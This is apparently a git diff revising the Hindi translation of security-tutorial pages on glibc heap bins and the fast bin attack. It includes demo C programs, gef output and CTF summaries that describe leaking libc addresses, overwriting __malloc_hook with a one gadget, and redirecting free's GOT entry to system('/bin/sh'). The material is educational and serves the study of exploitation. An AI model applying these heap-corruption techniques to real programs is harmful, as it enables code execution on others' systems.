वैश्विक रूप से फ्री ऑपरेशन करने के लिए हीप लॉक का इंतजार करना होगा। -जब एक **चंक आवंटित किया जाता है**, यदि आवश्यक आकार का एक फ्री चंक **टीकैश में है तो इसका उपयोग करेगा**, यदि नहीं, तो इसे वैश्विक बिन में एक खोजने या एक नया बनाने के लिए हीप लॉक का इंतजार करना होगा।\ -यहां एक ऑप्टिमाइजेशन भी है, इस मामले में, हीप लॉक होने पर, थ्रेड **अपने टीकैश को अनुरोधित आकार के हीप चंक्स (7) से भरेगा**, ताकि यदि इसे और अधिक की आवश्यकता हो, तो इसे टीकैश में मिल जाएगा। +जब एक **चंक आवंटित किया जाता है**, यदि आवश्यक आकार का एक फ्री चंक **टीकैश में है तो इसका उपयोग किया जाएगा**, यदि नहीं, तो इसे वैश्विक बिन्स में एक खोजने या एक नया बनाने के लिए हीप लॉक का इंतजार करना होगा।\ +इस मामले में एक अनुकूलन भी है, जबकि हीप लॉक होते हुए, थ्रेड **अपने टीकैश को अनुरोधित आकार के हीप चंक्स (7) से भरेगा**, ताकि यदि इसे और अधिक की आवश्यकता हो, तो यह उन्हें टीकैश में पाएगा।
-टीकैश चंक उदाहरण जोड़ें +Add a tcache chunk example ```c #include #include @@ -44,9 +44,9 @@ Tcachebins[idx=0, size=0x20, count=1] ← Chunk(addr=0xaaaaaaac12a0, size=0x20, ```
-#### Tcache संरचनाएँ और फ़ंक्शन +#### Tcache Structs & Functions -निम्नलिखित कोड में **max bins** और **chunks per index** देखना संभव है, **`tcache_entry`** संरचना जो डबल फ्री से बचने के लिए बनाई गई है और **`tcache_perthread_struct`**, एक संरचना जो प्रत्येक थ्रेड प्रत्येक बिन के इंडेक्स के लिए पते को स्टोर करने के लिए उपयोग करता है। +निम्नलिखित कोड में **max bins** और **chunks per index** को देखना संभव है, **`tcache_entry`** स्ट्रक्चर जो डबल फ्री से बचने के लिए बनाया गया है और **`tcache_perthread_struct`**, एक स्ट्रक्चर जो प्रत्येक थ्रेड प्रत्येक बिन के इंडेक्स के पते को स्टोर करने के लिए उपयोग करता है।
@@ -149,15 +149,15 @@ memset (tcache, 0, sizeof (tcache_perthread_struct)); #### Tcache इंडेक्स -Tcache में कई बिन होते हैं जो आकार और **प्रत्येक इंडेक्स के पहले चंक के लिए प्रारंभिक पॉइंटर्स और इंडेक्स प्रति चंक की मात्रा एक चंक के अंदर स्थित होती है**। इसका मतलब है कि इस जानकारी के साथ चंक को ढूंढना (आमतौर पर पहला), सभी tcache प्रारंभिक बिंदुओं और Tcache चंक्स की मात्रा को ढूंढना संभव है। +Tcache में कई बिन होते हैं जो आकार और **प्रत्येक इंडेक्स के पहले चंक के प्रारंभिक पॉइंटर्स और इंडेक्स प्रति चंक की मात्रा एक चंक के अंदर स्थित होती है**। इसका मतलब है कि इस जानकारी के साथ चंक को ढूंढना (आमतौर पर पहला), सभी tcache प्रारंभिक बिंदुओं और Tcache चंक्स की मात्रा को ढूंढना संभव है। ### फास्ट बिन -फास्ट बिन को **छोटे चंक्स के लिए मेमोरी आवंटन को तेज करने के लिए डिज़ाइन किया गया है** जो हाल ही में मुक्त किए गए चंक्स को त्वरित-एक्सेस संरचना में रखते हैं। ये बिन एक Last-In, First-Out (LIFO) दृष्टिकोण का उपयोग करते हैं, जिसका अर्थ है कि **हाल ही में मुक्त किया गया चंक पहले** फिर से उपयोग किया जाता है जब एक नया आवंटन अनुरोध होता है। यह व्यवहार गति के लिए फायदेमंद है, क्योंकि एक स्टैक (LIFO) के शीर्ष से डालना और हटाना एक कतार (FIFO) की तुलना में तेज होता है। +फास्ट बिन को **छोटे चंक्स के लिए मेमोरी आवंटन को तेज करने के लिए डिज़ाइन किया गया है**, हाल ही में मुक्त किए गए चंक्स को त्वरित-एक्सेस संरचना में रखकर। ये बिन एक Last-In, First-Out (LIFO) दृष्टिकोण का उपयोग करते हैं, जिसका अर्थ है कि **हाल ही में मुक्त किया गया चंक पहले** फिर से उपयोग किया जाता है जब एक नया आवंटन अनुरोध होता है। यह व्यवहार गति के लिए फायदेमंद है, क्योंकि एक स्टैक (LIFO) के शीर्ष से डालना और हटाना एक कतार (FIFO) की तुलना में तेज होता है। -इसके अतिरिक्त, **फास्ट बिन सिंगली लिंक्ड लिस्ट का उपयोग करते हैं**, डबल लिंक्ड नहीं, जो गति को और बढ़ाता है। चूंकि फास्ट बिन में चंक्स पड़ोसी के साथ मर्ज नहीं होते हैं, इसलिए मध्य से हटाने की अनुमति देने के लिए एक जटिल संरचना की आवश्यकता नहीं होती है। एक सिंगली लिंक्ड लिस्ट इन ऑपरेशनों के लिए सरल और तेज होती है। +इसके अतिरिक्त, **फास्ट बिन सिंगली लिंक्ड लिस्ट का उपयोग करते हैं**, डबल लिंक्ड नहीं, जो गति को और बढ़ाता है। चूंकि फास्ट बिन में चंक्स पड़ोसियों के साथ मर्ज नहीं होते हैं, इसलिए मध्य से हटाने की अनुमति देने के लिए एक जटिल संरचना की आवश्यकता नहीं होती है। एक सिंगली लिंक्ड लिस्ट इन ऑपरेशनों के लिए सरल और तेज होती है। -बुनियादी रूप से, यहाँ जो होता है वह यह है कि हेडर (पहले चंक की जांच के लिए पॉइंटर) हमेशा उस आकार के नवीनतम मुक्त चंक की ओर इशारा कर रहा होता है। तो: +बुनियादी रूप से, यहाँ जो होता है वह यह है कि हेडर (पहले चंक की जांच के लिए पॉइंटर) हमेशा उस आकार के नवीनतम मुक्त चंक की ओर इशारा करता है। तो: - जब उस आकार का एक नया चंक आवंटित किया जाता है, तो हेडर एक मुक्त चंक की ओर इशारा कर रहा होता है। चूंकि यह मुक्त चंक उपयोग के लिए अगले चंक की ओर इशारा कर रहा है, यह पता हेडर में संग्रहीत किया जाता है ताकि अगला आवंटन जान सके कि उपलब्ध चंक कहाँ से प्राप्त करना है - जब एक चंक मुक्त किया जाता है, तो मुक्त चंक वर्तमान उपलब्ध चंक के पते को सहेजता है और इस नए मुक्त किए गए चंक का पता हेडर में रखा जाएगा @@ -165,7 +165,7 @@ Tcache में कई बिन होते हैं जो आकार औ एक लिंक्ड लिस्ट का अधिकतम आकार `0x80` है और इन्हें इस तरह से व्यवस्थित किया गया है कि `0x20` आकार का एक चंक इंडेक्स `0` में होगा, `0x30` आकार का एक चंक इंडेक्स `1` में होगा... > [!CAUTION] -> फास्ट बिन में चंक्स को उपलब्ध के रूप में सेट नहीं किया जाता है, इसलिए उन्हें कुछ समय के लिए फास्ट बिन चंक्स के रूप में रखा जाता है बजाय इसके कि वे उनके चारों ओर के अन्य मुक्त चंक्स के साथ मर्ज हो सकें। +> फास्ट बिन में चंक्स को उपलब्ध के रूप में सेट नहीं किया जाता है, इसलिए उन्हें कुछ समय के लिए फास्ट बिन चंक्स के रूप में रखा जाता है बजाय इसके कि वे उनके चारों ओर अन्य मुक्त चंक्स के साथ मर्ज हो सकें। ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711 @@ -229,9 +229,9 @@ free(chunks[i]); return 0; } ``` -ध्यान दें कि हम समान आकार के 8 चंक्स को कैसे आवंटित और मुक्त करते हैं ताकि वे tcache को भर दें और आठवां फास्ट चंक में संग्रहीत होता है। +ध्यान दें कि हम समान आकार के 8 चंक्स को कैसे आवंटित और मुक्त करते हैं ताकि वे tcache को भर दें और आठवां तेज चंक में संग्रहीत होता है। -इसे संकलित करें और `main` फ़ंक्शन से `ret` ऑपकोड में एक ब्रेकपॉइंट के साथ डिबग करें। फिर `gef` के साथ आप देख सकते हैं कि tcache बिन भरा हुआ है और एक चंक फास्ट बिन में है: +इसे संकलित करें और `main` फ़ंक्शन से `ret` ऑपकोड में एक ब्रेकपॉइंट के साथ डिबग करें। फिर `gef` के साथ आप देख सकते हैं कि tcache बिन भरा हुआ है और एक चंक तेज बिन में है: ```bash gef➤ heap bins ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── @@ -244,13 +244,13 @@ Fastbins[idx=1, size=0x30] 0x00 ### Unsorted bin -Unsorted bin एक **cache** है जिसका उपयोग heap manager द्वारा मेमोरी आवंटन को तेज़ बनाने के लिए किया जाता है। यह इस प्रकार काम करता है: जब एक प्रोग्राम एक टुकड़ा मुक्त करता है, और यदि यह टुकड़ा tcache या fast bin में आवंटित नहीं किया जा सकता है और शीर्ष टुकड़े के साथ टकरा नहीं रहा है, तो heap manager तुरंत इसे किसी विशेष छोटे या बड़े bin में नहीं रखता। इसके बजाय, यह पहले किसी पड़ोसी मुक्त टुकड़ों के साथ **मिलाने की कोशिश करता है** ताकि मुक्त मेमोरी का एक बड़ा ब्लॉक बनाया जा सके। फिर, यह इस नए टुकड़े को "unsorted bin" नामक एक सामान्य bin में रखता है। +Unsorted bin एक **कैश** है जिसका उपयोग heap प्रबंधक द्वारा मेमोरी आवंटन को तेज़ बनाने के लिए किया जाता है। यह इस प्रकार काम करता है: जब एक प्रोग्राम एक टुकड़ा मुक्त करता है, और यदि यह टुकड़ा tcache या fast bin में आवंटित नहीं किया जा सकता है और शीर्ष टुकड़े के साथ टकरा नहीं रहा है, तो heap प्रबंधक तुरंत इसे किसी विशेष छोटे या बड़े bin में नहीं रखता। इसके बजाय, यह पहले किसी भी पड़ोसी मुक्त टुकड़ों के साथ **मिलाने की कोशिश करता है** ताकि मुक्त मेमोरी का एक बड़ा ब्लॉक बनाया जा सके। फिर, यह इस नए टुकड़े को "unsorted bin" नामक एक सामान्य bin में रखता है। -जब एक प्रोग्राम **मेमोरी के लिए पूछता है**, तो heap manager **unsorted bin की जांच करता है** यह देखने के लिए कि क्या वहाँ पर्याप्त आकार का एक टुकड़ा है। यदि इसे एक मिलता है, तो इसका तुरंत उपयोग किया जाता है। यदि इसे unsorted bin में उपयुक्त टुकड़ा नहीं मिलता है, तो यह इस सूची में सभी टुकड़ों को उनके आकार के आधार पर छोटे या बड़े bins में स्थानांतरित कर देता है। +जब एक प्रोग्राम **मेमोरी के लिए पूछता है**, तो heap प्रबंधक **unsorted bin की जांच करता है** यह देखने के लिए कि क्या वहाँ पर्याप्त आकार का एक टुकड़ा है। यदि इसे एक मिलता है, तो इसका तुरंत उपयोग किया जाता है। यदि इसे unsorted bin में उपयुक्त टुकड़ा नहीं मिलता है, तो यह इस सूची में सभी टुकड़ों को उनके आकार के आधार पर छोटे या बड़े bins में स्थानांतरित कर देता है। ध्यान दें कि यदि एक बड़ा टुकड़ा 2 आधों में विभाजित किया जाता है और बाकी MINSIZE से बड़ा है, तो इसे unsorted bin में वापस रखा जाएगा। -तो, unsorted bin मेमोरी आवंटन को तेज़ करने का एक तरीका है हाल ही में मुक्त की गई मेमोरी को जल्दी से पुन: उपयोग करके और समय-खपत करने वाले खोजों और विलय की आवश्यकता को कम करके। +तो, unsorted bin मेमोरी आवंटन को तेज़ करने का एक तरीका है हाल ही में मुक्त की गई मेमोरी को जल्दी से पुनः उपयोग करके और समय-खपत करने वाले खोजों और विलय की आवश्यकता को कम करके। > [!CAUTION] > ध्यान दें कि भले ही टुकड़े विभिन्न श्रेणियों के हों, यदि एक उपलब्ध टुकड़ा दूसरे उपलब्ध टुकड़े के साथ टकरा रहा है (भले ही वे मूल रूप से विभिन्न bins से संबंधित हों), तो उन्हें मिला दिया जाएगा। @@ -285,7 +285,7 @@ free(chunks[i]); return 0; } ``` -ध्यान दें कि हम एक ही आकार के 9 चंक्स को कैसे आवंटित और मुक्त करते हैं ताकि वे **tcache को भर दें** और आठवां अनसॉर्टेड बिन में संग्रहीत होता है क्योंकि यह **fastbin के लिए बहुत बड़ा है** और नौवां मुक्त नहीं किया गया है इसलिए नौवां और आठवां **शीर्ष चंक के साथ विलय नहीं होते**। +ध्यान दें कि हम एक ही आकार के 9 चंक्स को कैसे आवंटित और मुक्त करते हैं ताकि वे **tcache को भर दें** और आठवां अनसॉर्टेड बिन में संग्रहीत होता है क्योंकि यह **फास्टबिन के लिए बहुत बड़ा है** और नौवां मुक्त नहीं किया गया है, इसलिए नौवां और आठवां **शीर्ष चंक के साथ विलय नहीं होते**। इसे संकलित करें और `main` फ़ंक्शन से `ret` ऑपकोड में एक ब्रेकपॉइंट के साथ डिबग करें। फिर `gef` के साथ आप देख सकते हैं कि tcache बिन भरा हुआ है और एक चंक अनसॉर्टेड बिन में है: ```bash @@ -311,9 +311,9 @@ Fastbins[idx=6, size=0x80] 0x00 छोटे बिन बड़े बिनों की तुलना में तेज होते हैं लेकिन फास्ट बिनों की तुलना में धीमे होते हैं। -62 के प्रत्येक बिन में **एक ही आकार के चंक्स** होंगे: 16, 24, ... (32-बिट में अधिकतम आकार 504 बाइट और 64-बिट में 1024 बाइट)। यह उस बिन को खोजने की गति में मदद करता है जहाँ स्थान आवंटित किया जाना चाहिए और इन सूचियों पर प्रविष्टियों को डालने और हटाने में। +62 के प्रत्येक बिन में **एक ही आकार के चंक्स** होंगे: 16, 24, ... (32-बिट में अधिकतम आकार 504 बाइट और 64-बिट में 1024 बाइट)। यह उस बिन को खोजने की गति में मदद करता है जहां स्थान आवंटित किया जाना चाहिए और इन सूचियों पर प्रविष्टियों को डालने और हटाने में। -यहाँ छोटे बिन के आकार की गणना बिन के इंडेक्स के अनुसार की जाती है: +यह इस तरह से है कि छोटे बिन का आकार बिन के इंडेक्स के अनुसार कैसे गणना की जाती है: - सबसे छोटा आकार: 2\*4\*index (जैसे, index 5 -> 40) - सबसे बड़ा आकार: 2\*8\*index (जैसे, index 5 -> 80) @@ -368,7 +368,7 @@ chunks[9] = malloc(0x110); return 0; } ``` -ध्यान दें कि हम एक ही आकार के 9 चंक्स को कैसे आवंटित और मुक्त करते हैं ताकि वे **tcache को भर दें** और आठवां अनसॉर्टेड बिन में संग्रहीत होता है क्योंकि यह **fastbin के लिए बहुत बड़ा है** और नौवां मुक्त नहीं किया गया है इसलिए नौवां और आठवां **शीर्ष चंक के साथ मर्ज नहीं होते**। फिर हम 0x110 का एक बड़ा चंक आवंटित करते हैं जो **अनसॉर्टेड बिन में चंक को छोटे बिन में ले जाता है**। +ध्यान दें कि हम एक ही आकार के 9 चंक्स को कैसे आवंटित और मुक्त करते हैं ताकि वे **tcache को भर दें** और आठवां अनसॉर्टेड बिन में संग्रहीत होता है क्योंकि यह **fastbin के लिए बहुत बड़ा है** और नौवां मुक्त नहीं किया गया है, इसलिए नौवां और आठवां **शीर्ष चंक के साथ मर्ज नहीं होते**। फिर हम 0x110 का एक बड़ा चंक आवंटित करते हैं जो **अनसॉर्टेड बिन में चंक को छोटे बिन में ले जाता है**। इसे संकलित करें और `main` फ़ंक्शन से `ret` ऑपकोड में एक ब्रेकपॉइंट के साथ डिबग करें। फिर `gef` के साथ आप देख सकते हैं कि tcache बिन भरा हुआ है और एक चंक छोटे बिन में है: ```bash @@ -398,16 +398,16 @@ Fastbins[idx=6, size=0x80] 0x00 एक मेमोरी आवंटक में, बड़े बिन छोटे बिन के समाप्त होने पर शुरू होते हैं। बड़े बिन के लिए रेंज धीरे-धीरे बढ़ती है, जिसका अर्थ है कि पहला बिन 512 से 576 बाइट्स तक के टुकड़ों को कवर कर सकता है, जबकि अगला 576 से 640 बाइट्स तक को कवर करता है। यह पैटर्न जारी रहता है, सबसे बड़े बिन में 1MB से ऊपर के सभी टुकड़े होते हैं। -बड़े बिन छोटे बिन की तुलना में संचालन में धीमे होते हैं क्योंकि उन्हें आवंटन के लिए **सर्वश्रेष्ठ फिट खोजने के लिए विभिन्न टुकड़ों के आकार की सूची को क्रमबद्ध और खोजने** की आवश्यकता होती है। जब एक टुकड़ा बड़े बिन में डाला जाता है, तो इसे क्रमबद्ध करना होता है, और जब मेमोरी आवंटित की जाती है, तो सिस्टम को सही टुकड़ा खोजना होता है। यह अतिरिक्त कार्य उन्हें **धीमा** बनाता है, लेकिन चूंकि बड़े आवंटन छोटे आवंटनों की तुलना में कम सामान्य होते हैं, यह एक स्वीकार्य व्यापार-बंद है। +बड़े बिन छोटे बिन की तुलना में संचालन में धीमे होते हैं क्योंकि उन्हें आवंटन के लिए सबसे उपयुक्त टुकड़ा खोजने के लिए **विभिन्न आकार के टुकड़ों की सूची को क्रमबद्ध और खोजने** की आवश्यकता होती है। जब एक टुकड़ा बड़े बिन में डाला जाता है, तो इसे क्रमबद्ध करना होता है, और जब मेमोरी आवंटित की जाती है, तो सिस्टम को सही टुकड़ा खोजना होता है। यह अतिरिक्त काम उन्हें **धीमा** बनाता है, लेकिन चूंकि बड़े आवंटन छोटे आवंटनों की तुलना में कम सामान्य होते हैं, यह एक स्वीकार्य व्यापार-बंद है। यहाँ हैं: -- 64B रेंज के 32 बिन (छोटे बिन के साथ टकराते हैं) -- 512B रेंज के 16 बिन (छोटे बिन के साथ टकराते हैं) -- 4096B रेंज के 8 बिन (छोटे बिन के साथ आंशिक रूप से टकराते हैं) -- 32768B रेंज के 4 बिन -- 262144B रेंज के 2 बिन -- शेष आकार के लिए 1 बिन +- 32 बिन 64B रेंज के (छोटे बिन के साथ टकराते हैं) +- 16 बिन 512B रेंज के (छोटे बिन के साथ टकराते हैं) +- 8 बिन 4096B रेंज के (छोटे बिन के साथ आंशिक टकराते हैं) +- 4 बिन 32768B रेंज के +- 2 बिन 262144B रेंज के +- 1 बिन शेष आकारों के लिए
@@ -468,9 +468,9 @@ chunks[0] = malloc(0x2000); return 0; } ``` -2 बड़े आवंटन किए जाते हैं, फिर एक को मुक्त किया जाता है (इसे अनसॉर्टेड बिन में डालते हुए) और एक बड़ा आवंटन किया जाता है (मुक्त एक को अनसॉर्टेड बिन से बड़े बिन में ले जाते हुए)। +2 बड़े आवंटन किए जाते हैं, फिर एक को मुक्त किया जाता है (जिससे यह अनसॉर्टेड बिन में चला जाता है) और एक बड़ा आवंटन किया जाता है (मुक्त किए गए को अनसॉर्टेड बिन से बड़े बिन में ले जाते हैं)। -इसे संकलित करें और `main` फ़ंक्शन से `ret` ऑपकोड में एक ब्रेकपॉइंट के साथ डिबग करें। फिर `gef` के साथ आप देख सकते हैं कि tcache बिन भरा हुआ है और एक टुकड़ा बड़े बिन में है: +इसे संकलित करें और `main` फ़ंक्शन से `ret` ऑपकोड में एक ब्रेकपॉइंट के साथ डिबग करें। फिर `gef` के साथ आप देख सकते हैं कि टकैश बिन भरा हुआ है और एक टुकड़ा बड़े बिन में है: ```bash gef➤ heap bin ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── @@ -522,7 +522,7 @@ the 2 preceding words to be zero during this interval as well.) बुनियादी रूप से, यह सभी वर्तमान में उपलब्ध हीप का एक टुकड़ा है। जब malloc किया जाता है, यदि उपयोग करने के लिए कोई उपलब्ध मुक्त टुकड़ा नहीं है, तो यह शीर्ष टुकड़ा अपना आकार घटा देगा आवश्यक स्थान देने के लिए।\ Top Chunk का पॉइंटर `malloc_state` संरचना में संग्रहीत होता है। -इसके अलावा, शुरुआत में, शीर्ष टुकड़े के रूप में असंरचित टुकड़े का उपयोग करना संभव है। +इसके अलावा, शुरुआत में, शीर्ष टुकड़े के रूप में असॉर्टेड टुकड़े का उपयोग करना संभव है।
@@ -540,7 +540,7 @@ gets(chunk); return 0; } ``` -`main` के `ret` ऑपकोड में ब्रेक पॉइंट के साथ इसे संकलित और डिबग करने के बाद, मैंने देखा कि malloc ने पता `0xaaaaaaac12a0` लौटाया और ये हैं चंक्स: +`main` के `ret` ऑपकोड में ब्रेक पॉइंट के साथ इसे संकलित और डिबग करने के बाद मैंने देखा कि malloc ने पता `0xaaaaaaac12a0` लौटाया और ये हैं चंक्स: ```bash gef➤ heap chunks Chunk(addr=0xaaaaaaac1010, size=0x290, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) @@ -554,7 +554,7 @@ Chunk(addr=0xaaaaaaac16d0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ Chunk(addr=0xaaaaaaac1ae0, size=0x20530, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← top chunk ``` जहाँ यह देखा जा सकता है कि शीर्ष चंक का पता `0xaaaaaaac1ae0` है। यह कोई आश्चर्य की बात नहीं है क्योंकि अंतिम आवंटित चंक `0xaaaaaaac12a0` में था जिसका आकार `0x410` था और `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0`।\ -यह भी संभव है कि शीर्ष चंक की लंबाई इसके चंक हेडर पर देखी जा सके: +यह चंक हेडर पर शीर्ष चंक की लंबाई देखना भी संभव है: ```bash gef➤ x/8wx 0xaaaaaaac1ae0 - 16 0xaaaaaaac1ad0: 0x00000000 0x00000000 0x00020531 0x00000000 @@ -564,12 +564,13 @@ gef➤ x/8wx 0xaaaaaaac1ae0 - 16 ### अंतिम शेष -जब malloc का उपयोग किया जाता है और एक चंक को विभाजित किया जाता है (उदाहरण के लिए, अनसॉर्टेड बिन से या टॉप चंक से), तो विभाजित चंक के शेष से बनाए गए चंक को अंतिम शेष कहा जाता है और इसका पॉइंटर `malloc_state` संरचना में संग्रहीत होता है। +जब malloc का उपयोग किया जाता है और एक चंक को विभाजित किया जाता है (उदाहरण के लिए असंरचित बिन से या शीर्ष चंक से), विभाजित चंक से बने शेष चंक को अंतिम शेष कहा जाता है और इसका पॉइंटर `malloc_state` संरचना में संग्रहीत होता है। ## आवंटन प्रवाह देखें: + {{#ref}} heap-memory-functions/malloc-and-sysmalloc.md {{#endref}} @@ -578,6 +579,7 @@ heap-memory-functions/malloc-and-sysmalloc.md देखें: + {{#ref}} heap-memory-functions/free.md {{#endref}} @@ -586,6 +588,7 @@ heap-memory-functions/free.md हीप में भारी उपयोग किए जाने वाले फ़ंक्शंस द्वारा किए गए सुरक्षा जांचों की जांच करें: + {{#ref}} heap-memory-functions/heap-functions-security-checks.md {{#endref}} diff --git a/src/binary-exploitation/libc-heap/fast-bin-attack.md b/src/binary-exploitation/libc-heap/fast-bin-attack.md index aed762231..30df7a8af 100644 --- a/src/binary-exploitation/libc-heap/fast-bin-attack.md +++ b/src/binary-exploitation/libc-heap/fast-bin-attack.md @@ -6,11 +6,12 @@ फास्ट बिन क्या है, इसके बारे में अधिक जानकारी के लिए इस पृष्ठ को देखें: + {{#ref}} bins-and-memory-allocations.md {{#endref}} -चूंकि फास्ट बिन एक सिंगली लिंक्ड लिस्ट है, इसलिए अन्य बिन की तुलना में सुरक्षा बहुत कम होती है और बस **एक फ्रीड फास्ट बिन** चंक में एक पते को **संशोधित करना** पर्याप्त है ताकि **किसी भी मेमोरी पते पर बाद में एक चंक आवंटित किया जा सके**। +क्योंकि फास्ट बिन एक सिंगली लिंक्ड लिस्ट है, इसमें अन्य बिनों की तुलना में बहुत कम सुरक्षा होती है और बस **एक फ्रीड फास्ट बिन** चंक में एक पते को **संशोधित करना** पर्याप्त है ताकि **किसी भी मेमोरी पते पर बाद में एक चंक आवंटित किया जा सके**। संक्षेप में: ```c @@ -28,7 +29,7 @@ free(ptr1) ptr2 = malloc(0x20); // This will get ptr1 ptr3 = malloc(0x20); // This will get a chunk in the
which could be abuse to overwrite arbitrary content inside of it ``` -आप एक बहुत अच्छी तरह से समझाए गए कोड में पूरा उदाहरण [https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html) पर पा सकते हैं: +आप एक पूर्ण उदाहरण [https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html) से बहुत अच्छे से समझाए गए कोड में पा सकते हैं: ```c #include #include @@ -124,17 +125,17 @@ printf("\n\nJust like that, we executed a fastbin attack to allocate an address - **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html)**:** - चंक्स आवंटित करना, उन्हें मुक्त करना, उनके सामग्री को पढ़ना और उन्हें भरना (एक ओवरफ्लो भेद्यता के साथ) संभव है। -- **जानकारी लीक के लिए चंक को समेकित करना**: तकनीक मूल रूप से ओवरफ्लो का दुरुपयोग करके एक नकली `prev_size` बनाने के लिए है ताकि एक पिछले चंक्स को एक बड़े में रखा जा सके, इसलिए जब बड़े चंक्स को आवंटित किया जाता है जिसमें एक और चंक होता है, तो इसके डेटा को प्रिंट करना और libc का पता लीक करना संभव होता है (`main_arena+88`)। -- **malloc हुक को ओवरराइट करना**: इसके लिए, और पिछले ओवरलैपिंग स्थिति का दुरुपयोग करते हुए, 2 चंक्स को एक ही मेमोरी की ओर इशारा करते हुए प्राप्त करना संभव था। इसलिए, दोनों को मुक्त करना (सुरक्षाओं से बचने के लिए बीच में एक और चंक को मुक्त करना) यह संभव था कि फास्ट बिन में एक ही चंक 2 बार हो। फिर, इसे फिर से आवंटित करना संभव था, अगले चंक के पते को `__malloc_hook` से थोड़ा पहले इंगित करने के लिए ओवरराइट करना (ताकि यह एक पूर्णांक की ओर इशारा करे जिसे malloc एक मुक्त आकार मानता है - एक और बायपास), इसे फिर से आवंटित करना और फिर एक और चंक आवंटित करना जो malloc हुक को एक पता प्राप्त करेगा।\ +- **जानकारी लीक के लिए चंक को समेकित करना**: तकनीक मूल रूप से ओवरफ्लो का दुरुपयोग करके एक नकली `prev_size` बनाने के लिए है ताकि एक पिछले चंक्स को एक बड़े में रखा जा सके, इसलिए जब बड़े चंक्स को आवंटित किया जाता है जिसमें एक और चंक होता है, तो इसके डेटा को प्रिंट करना और libc का पता लीक करना संभव है (`main_arena+88`)। +- **malloc हुक को ओवरराइट करना**: इसके लिए, और पिछले ओवरलैपिंग स्थिति का दुरुपयोग करते हुए, 2 चंक्स को एक ही मेमोरी की ओर इंगित करना संभव था। इसलिए, दोनों को मुक्त करना (सुरक्षाओं से बचने के लिए बीच में एक और चंक को मुक्त करना) यह संभव था कि फास्ट बिन में एक ही चंक 2 बार हो। फिर, इसे फिर से आवंटित करना संभव था, अगले चंक के पते को `__malloc_hook` से थोड़ा पहले इंगित करने के लिए ओवरराइट करना (ताकि यह एक पूर्णांक की ओर इंगित करे जिसे malloc एक मुक्त आकार मानता है - एक और बायपास), इसे फिर से आवंटित करना और फिर एक और चंक आवंटित करना जो malloc हुक को एक पता प्राप्त करेगा।\ अंत में, वहाँ एक **one gadget** लिखा गया था। - **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html)**:** -- वहाँ एक हीप ओवरफ्लो और उपयोग के बाद मुक्त और डबल फ्री है क्योंकि जब एक चंक मुक्त होता है तो इसे फिर से उपयोग और फिर से मुक्त करना संभव होता है। +- एक हीप ओवरफ्लो और उपयोग के बाद मुक्त और डबल फ्री है क्योंकि जब एक चंक मुक्त होता है तो इसे फिर से उपयोग और फिर से मुक्त करना संभव है। - **Libc जानकारी लीक**: बस कुछ चंक्स को मुक्त करें और उन्हें मुख्य एरेना स्थान के एक भाग का पता मिलेगा। चूंकि आप मुक्त किए गए पointers को फिर से उपयोग कर सकते हैं, बस इस पते को पढ़ें। -- **फास्ट बिन हमला**: आवंटनों के सभी पointers एक एरे में संग्रहीत होते हैं, इसलिए हम कुछ फास्ट बिन चंक्स को मुक्त कर सकते हैं और अंतिम में पते को इस पointers के एरे से थोड़ा पहले इंगित करने के लिए ओवरराइट कर सकते हैं। फिर, समान आकार के कुछ चंक्स आवंटित करें और हम पहले वैध एक और फिर पते के एरे को शामिल करने वाले नकली एक को प्राप्त करेंगे। हम अब इस आवंटन पointers को ओवरराइट कर सकते हैं ताकि `free` का GOT पता `system` की ओर इंगित करे और फिर चंक 1 में `"/bin/sh"` लिखें ताकि फिर `free(chunk1)` को कॉल किया जा सके जो इसके बजाय `system("/bin/sh")` को निष्पादित करेगा। +- **फास्ट बिन हमला**: आवंटनों के सभी पointers एक एरे में संग्रहीत होते हैं, इसलिए हम कुछ फास्ट बिन चंक्स को मुक्त कर सकते हैं और अंतिम में पते को इस पointers के एरे से थोड़ा पहले इंगित करने के लिए ओवरराइट कर सकते हैं। फिर, समान आकार के कुछ चंक्स आवंटित करें और हमें पहले वैध एक मिलेगा और फिर नकली एक जो पointers के एरे को शामिल करेगा। अब हम इस आवंटन के पointers को ओवरराइट कर सकते हैं ताकि `free` का GOT पता `system` की ओर इंगित करे और फिर चंक 1 में `"/bin/sh"` लिखें ताकि फिर `free(chunk1)` को कॉल किया जा सके जो इसके बजाय `system("/bin/sh")` को निष्पादित करेगा। - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html) - एक और उदाहरण एक बाइट ओवरफ्लो का दुरुपयोग करके चंक्स को असंरचित बिन में समेकित करना और libc जानकारी लीक प्राप्त करना और फिर malloc हुक को एक one gadget पते के साथ ओवरराइट करने के लिए फास्ट बिन हमले को निष्पादित करना। - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) -- एक जानकारी लीक के बाद असंरचित बिन का दुरुपयोग करते हुए UAF के साथ libc पता और एक PIE पता लीक करने के लिए, इस CTF का शोषण एक फास्ट बिन हमले का उपयोग करके एक चंक को उस स्थान पर आवंटित करने के लिए किया गया जहाँ नियंत्रित चंक्स के पointers स्थित थे ताकि कुछ पointers को ओवरराइट करना संभव हो सके और GOT में एक one gadget लिखना। +- एक जानकारी लीक के बाद असंरचित बिन का दुरुपयोग करते हुए UAF के साथ libc पता और एक PIE पता लीक किया गया, इस CTF का शोषण एक फास्ट बिन हमले का 